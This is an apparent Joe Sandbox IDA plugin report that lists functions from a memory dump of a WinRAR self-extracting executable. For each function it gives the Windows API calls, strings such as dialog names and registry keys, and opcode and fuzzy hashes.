Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: 6c0f589a8612d71f4acf1af641aac60463d98af5648e37c2edc3327d7c4686ec
Instruction ID: fdebc2f389e1a4a58537a908f2bae01fbbd82effa9d016e327d4d67c5e51e2c2
Opcode Fuzzy Hash: 6c0f589a8612d71f4acf1af641aac60463d98af5648e37c2edc3327d7c4686ec
Instruction Fuzzy Hash: ED512B72A54586D5EE70AF21D8513EF2361BB46BC4F85103A994D6BA9ADF38C717C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B0298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 000000013F2B02DC
GetWindowRect.USER32 ref: 000000013F2B032D
ShowWindow.USER32 ref: 000000013F2B0405
SetWindowTextW.USER32 ref: 000000013F2B0411
ShowWindow.USER32 ref: 000000013F2B042E

Strings

RarHtmlClassName, xrefs: 000000013F2B03AA

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: ea103a120f9717028c92243b908f077d7765721c8cd3519e1ba45c0cf108c4a5
Instruction ID: f975267ad446773881ac7251909ee69d453351a216747677db8e3c7cf9618448
Opcode Fuzzy Hash: ea103a120f9717028c92243b908f077d7765721c8cd3519e1ba45c0cf108c4a5
Instruction Fuzzy Hash: 0C515E36A0578587EA65DB26E4543AB67A0FB89B80F448039DE8B47B68DF3CD947C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B5ED8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,000000013F2B5E47,?,?,?,000000013F2B61FA), ref: 000000013F2B5EFF
GetProcAddress.KERNEL32(?,?,?,000000013F2B5E47,?,?,?,000000013F2B61FA), ref: 000000013F2B5F1C
GetProcAddress.KERNEL32(?,?,?,000000013F2B5E47,?,?,?,000000013F2B61FA), ref: 000000013F2B5F38

Strings

AcquireSRWLockExclusive, xrefs: 000000013F2B5F12
ReleaseSRWLockExclusive, xrefs: 000000013F2B5F27
KERNEL32.DLL, xrefs: 000000013F2B5EF8

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: a285e220308e788f2ab36963cfab2be891698921037f4134e9d32917d0b7cf85
Instruction ID: 0b60de4b9f51b5c04814981edbd29e2ce14dd5dde4db81d12a499b02ac7b86e2
Opcode Fuzzy Hash: a285e220308e788f2ab36963cfab2be891698921037f4134e9d32917d0b7cf85
Instruction Fuzzy Hash: B1114030A01B05C9FE619B51A9413E692E1FB09B95F4C553DDD5E4B368EE7CCA87C600

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5C14 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013F29EB40: GetVersionExW.KERNEL32 ref: 000000013F29EB71

FileTimeToLocalFileTime.KERNEL32 ref: 000000013F2A5C7C
FileTimeToSystemTime.KERNEL32 ref: 000000013F2A5C88
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 000000013F2A5C98
SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5CA6
SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5CB4
FileTimeToSystemTime.KERNEL32 ref: 000000013F2A5CF5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 1ba7e9eeb29331dbf72bee44956e7281ce906d28814823c0f1390a1f09b24211
Instruction ID: b392466eb160669205921c30c48a61c49cacfa1ba962035ebdad5a6709c1a41b
Opcode Fuzzy Hash: 1ba7e9eeb29331dbf72bee44956e7281ce906d28814823c0f1390a1f09b24211
Instruction Fuzzy Hash: 43517BB2B10650CEEB14CFA9D4453ED77B1F348B88F64402AEE1A67B58DB38D656CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5F14 Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5F78

Part of subcall function 000000013F29EB40: GetVersionExW.KERNEL32 ref: 000000013F29EB71

LocalFileTimeToFileTime.KERNEL32 ref: 000000013F2A5F9A
FileTimeToSystemTime.KERNEL32 ref: 000000013F2A5FA6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 000000013F2A5FB6
SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5FC4
SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5FD2

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 720de4bf0058d3d5f955e2258e2d7ea23c03fb14de544732891b4eab8a87f0bb
Instruction ID: edb846881b32ddb7460fd6f99803abe059c67f7d8ce498573c1315862f99afda
Opcode Fuzzy Hash: 720de4bf0058d3d5f955e2258e2d7ea23c03fb14de544732891b4eab8a87f0bb
Instruction Fuzzy Hash: D4311572B10651CEFB00CFA5D8903ED3770FB08B58F54502AEE0AA7A58EB38C996C301

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2AFC48 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 000000013F2AFC99

Strings

 , xrefs: 000000013F2AFD17
<br>, xrefs: 000000013F2AFCDA
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 000000013F2AFC8F

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: wcscpy
String ID:  $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 1284135714-864536935
Opcode ID: 85cff4f6a8f1618fb649e9389255349041e780d84ba058e8f2234e69f9f73cdd
Instruction ID: dc7d27e8271c85d8c13ab825ea4c7624f978fd8bcb2fb8c1aef9a2086943d2fb
Opcode Fuzzy Hash: 85cff4f6a8f1618fb649e9389255349041e780d84ba058e8f2234e69f9f73cdd
Instruction Fuzzy Hash: 07319372E05A50C0FF21DB51E4113EB9361FB50B84F94802ADE5A07695EF7CC68B8391

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B9424 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000013F2B944F
_IsNonwritableInCurrentImage.LIBCMT ref: 000000013F2B94E4
RtlUnwindEx.KERNEL32 ref: 000000013F2B9533

Strings

csm, xrefs: 000000013F2B94CA
f, xrefs: 000000013F2B9462

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a9fd0d1b92df2077d9d556c6e535e3c3ecfdf6053e06fd4b056f1dc7555dcd55
Instruction ID: fe6b2aa668ffce47bc7f399ed559ab5d21c78a67af39a79a26f3dcc1a6698971
Opcode Fuzzy Hash: a9fd0d1b92df2077d9d556c6e535e3c3ecfdf6053e06fd4b056f1dc7555dcd55
Instruction Fuzzy Hash: 1251D132B09648CBEB14CF26E444B9A37A5F344B98F518138EE5A47788DB75DE83CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B1BBC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 000000013F2B1D4A
GetDlgItemTextW.USER32 ref: 000000013F2B1D67
SetDlgItemTextW.USER32 ref: 000000013F2B1D9C

Strings

GETPASSWORD1, xrefs: 000000013F2B1D03
Software\WinRAR SFX, xrefs: 000000013F2B1C22

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 1770891597-1315819833
Opcode ID: dcae91060f3fa32d93a279ece83dc4b1179b447195e4723ac183d762974f65af
Instruction ID: fc0820c008f6e0bff7b7da728c0fdc3ddab7887427af35704860516f1786b2f3
Opcode Fuzzy Hash: dcae91060f3fa32d93a279ece83dc4b1179b447195e4723ac183d762974f65af
Instruction Fuzzy Hash: 4551C032B14A89C6FB609B21E4443EB63A1FB84784F500139EE4E47B99DF3CCA46CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4710 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2913D0: GetDlgItem.USER32 ref: 000000013F291420
Part of subcall function 000000013F2913D0: SetWindowTextW.USER32 ref: 000000013F29143C

EndDialog.USER32 ref: 000000013F2B476E
GetDlgItemTextW.USER32 ref: 000000013F2B478B
SetDlgItemTextW.USER32 ref: 000000013F2B47AA
SetDlgItemTextW.USER32 ref: 000000013F2B47BF

Strings

RENAMEDLG, xrefs: 000000013F2B4733

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 9ef26468e0871f5a26e631ba78847545cde7723317f555f1c16012408c13c447
Instruction ID: 5bf21871a7477ec5da1f9fd0adb1cc8557c8ed49d548c29c8ded6c15378097e1
Opcode Fuzzy Hash: 9ef26468e0871f5a26e631ba78847545cde7723317f555f1c16012408c13c447
Instruction Fuzzy Hash: 5A214C35A04B54C2FB549F12A6847AE27A1B38AFD0F14423DDE4607B9ACE79CA57D301

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4FA8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 000000013F2B4FFB, 000000013F2B5053
RENAMEDLG, xrefs: 000000013F2B5027

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 5639ccaddfffa7073279490a03b60d1b86bc7360467457c09ecbd129ed9d9691
Instruction ID: 5a4e35746566c87c2866220a174fab19dfdaa63db784461ef6ba66bb63d77790
Opcode Fuzzy Hash: 5639ccaddfffa7073279490a03b60d1b86bc7360467457c09ecbd129ed9d9691
Instruction Fuzzy Hash: 3721E474A09B8AD1FA508F55B8847EB23A0B759788F14083EE98947668DA7CCB5BC350

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C0454 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000000013F2C0474
GetProcAddress.KERNEL32 ref: 000000013F2C048A
FreeLibrary.KERNEL32 ref: 000000013F2C04AF

Strings

mscoree.dll, xrefs: 000000013F2C046B
CorExitProcess, xrefs: 000000013F2C0483

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4ca598a30639ae15ce9730c3618b6855dbcbfccf7a62b442dd9d6a7051895631
Instruction ID: f0dc253d0fcf615c621a2ddd87bec063fe13630e2e376b21162758fc0400f124
Opcode Fuzzy Hash: 4ca598a30639ae15ce9730c3618b6855dbcbfccf7a62b442dd9d6a7051895631
Instruction Fuzzy Hash: 03F06D71A21A80C2EF54CF92F4903EB6360EB88F90F48503DE95B46678DE3CC686C710

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C8FA8 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C8FED

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: dedf2e0d36bbdd758fbb5a826079251fdaeca7d649d004319bad3569e4946327
Instruction ID: 54f1d92d83822747842d648a88d6e8e32110eef6ea2ac473d80773fa998a13c3
Opcode Fuzzy Hash: dedf2e0d36bbdd758fbb5a826079251fdaeca7d649d004319bad3569e4946327
Instruction Fuzzy Hash: 0B81AA32E10A50C9FF20ABA698857EE3AA5B745B88F41422EDE0A537D5CB38C647C310

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C891C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000000013F2C8979
WideCharToMultiByte.KERNEL32 ref: 000000013F2C8A55
WriteFile.KERNEL32 ref: 000000013F2C8A7B
WriteFile.KERNEL32 ref: 000000013F2C8ABA
GetLastError.KERNEL32 ref: 000000013F2C8AF2

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 1688709713f9214a0397a124df39f7281203be7402982b9f016851b9e5d6f023
Instruction ID: 7e58e20796b582007351ff28139377d7b88318002cd8e3a4786fecfd31356495
Opcode Fuzzy Hash: 1688709713f9214a0397a124df39f7281203be7402982b9f016851b9e5d6f023
Instruction Fuzzy Hash: FA51A133A11A50C9EB10CFA5E9443EE7BB0F748B98F048129DE5A5BB99DB34C647C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B7770 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000000013F2B77F7
MultiByteToWideChar.KERNEL32 ref: 000000013F2B7879
SysAllocString.OLEAUT32 ref: 000000013F2B7886

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 8f4bb35da93a9fbe9491760c1bccc8ebf35c1878907ee43bf4342c1fa33462ad
Instruction ID: 1e4b5b006f2b4579ea13beef3aa2b439d90226d93e20c7bbe8d8596bf32edaec
Opcode Fuzzy Hash: 8f4bb35da93a9fbe9491760c1bccc8ebf35c1878907ee43bf4342c1fa33462ad
Instruction Fuzzy Hash: 8A418032A01B88C9FB149F7195503EA2691FB48BB4F18463DAE6987BD5DF38CA43D340

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C9B44 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000013F2C9B6B
_set_statfp.LIBCMT ref: 000000013F2C9B86
_set_statfp.LIBCMT ref: 000000013F2C9BA2
_set_statfp.LIBCMT ref: 000000013F2C9BDE

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
Instruction ID: a76e4cbd489ae2203c95c10bcbcaabeced649852bed03e93a0ac0c61591342cc
